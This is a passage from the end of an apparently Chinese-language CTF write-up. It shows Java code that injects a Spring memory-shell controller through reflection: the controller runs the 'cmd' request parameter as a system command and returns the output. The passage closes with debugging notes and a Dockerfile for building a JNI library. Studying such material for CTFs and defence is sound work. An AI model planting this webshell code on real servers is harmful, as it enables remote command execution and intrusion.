            SortedSet<PathPattern> epp = new TreeSet<>(Collections.singleton(pathPattern));

            // 通过反射设置新的值
            patternsField.set(prc, epp);

            // 设置info的pathPatternsCondition为prc,patternsCondition为null
            RequestMappingInfo info = new RequestMappingInfo(null, null, condition, null, null, null, null, null);
            Class<?> clazz2 = info.getClass();
            Field pathPatternsConditionField = clazz2.getDeclaredField("pathPatternsCondition");
            Field patternsConditionField = clazz2.getDeclaredField("patternsCondition");
            pathPatternsConditionField.setAccessible(true);
            patternsConditionField.setAccessible(true);

            pathPatternsConditionField.set(info, prc);
            patternsConditionField.set(info, null);

            Object evilController = new EvilClass();

            for (Method method : ms) {
                if ("register".equals(method.getName())) {
                    // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
                    method.setAccessible(true);
                    Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
                    method.invoke(mappingRegistry, info, evilController, m);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            String output = EvilClass.execCmd(cmd);
            PrintWriter out = res.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }
    

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

成功执行命令,后面执行/readflag即可

PS

首先在jar包里面调试,有些方法Find Usage找不出来。而且明明调用了这个方法,打断点也停不了。

但是直接追踪变量就可以了。具体也不知道什么原因……

还有就是生成动态连接库,这里的平台要保持统一。这里我整了个gcc+jdk8的docker来生成的

# 基于 Ubuntu 镜像
FROM ubuntu:latest

# 更新软件包列表
RUN apt-get update

# 安装 OpenJDK-8-JDK
RUN apt-get install -y openjdk-8-jdk

# 安装 GCC
RUN apt-get install -y gcc

# 设置 JAVA_HOME 环境变量
ENV JAVA_HOME /usr/lib/jvm/java-8-openjdk-arm64

# 清理缓存以减小镜像大小
RUN apt-get clean

# 验证安装
RUN java -version
RUN gcc --version

总结

在各种摆烂后,这道去年10月的题到今天终于看完了……

其中涉及的好多知识点也算慢慢学完了。RASP和JNI我应该是不打算再写篇博客了,以后遇到再说吧~

RASP的参考链接:https://www.cnblogs.com/rickiyang/p/11368932.html